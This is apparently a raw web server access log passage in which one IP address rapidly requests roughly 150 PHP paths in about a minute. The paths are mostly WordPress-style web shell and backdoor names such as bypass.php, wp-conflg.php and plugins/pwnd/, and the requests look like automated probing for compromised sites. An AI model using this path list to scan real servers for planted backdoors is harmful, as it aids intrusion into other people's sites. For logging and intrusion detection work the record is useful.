[20/Apr/2026:01:27:29 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:27:30 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:30 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:27:31 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:31 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:31 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:31 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:32 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:32 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:32 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:33 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:33 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:33 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:27:34 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:34 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:27:35 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:35 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:35 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:36 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:36 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:36 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:37 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:37 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:37 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:38 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:38 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:27:38 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:39 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:39 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:39 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:40 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:40 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:40 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:41 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:27:41 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:41 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:42 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:42 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:42 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:43 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:43 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:43 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:27:44 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:27:44 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:44 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:45 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:45 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:27:45 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:46 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:46 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:46 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:47 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:47 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:47 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:48 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:48 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:48 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:27:49 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:49 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:49 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:50 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:27:50 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:50 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:51 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:51 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:51 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:27:52 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:52 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:52 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:53 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:53 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:27:53 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:27:53 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:54 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:54 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:27:54 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:55 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:55 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:55 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:56 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:56 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:56 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:57 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:57 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:57 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:58 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:27:58 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:27:58 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:59 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:27:59 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:27:59 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:00 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:00 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:00 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:28:01 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:28:01 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:28:02 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:02 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:02 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:02 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:28:03 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:03 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:04 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:04 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:28:04 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:05 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:28:05 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:28:05 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:06 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:28:06 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:06 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:07 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; 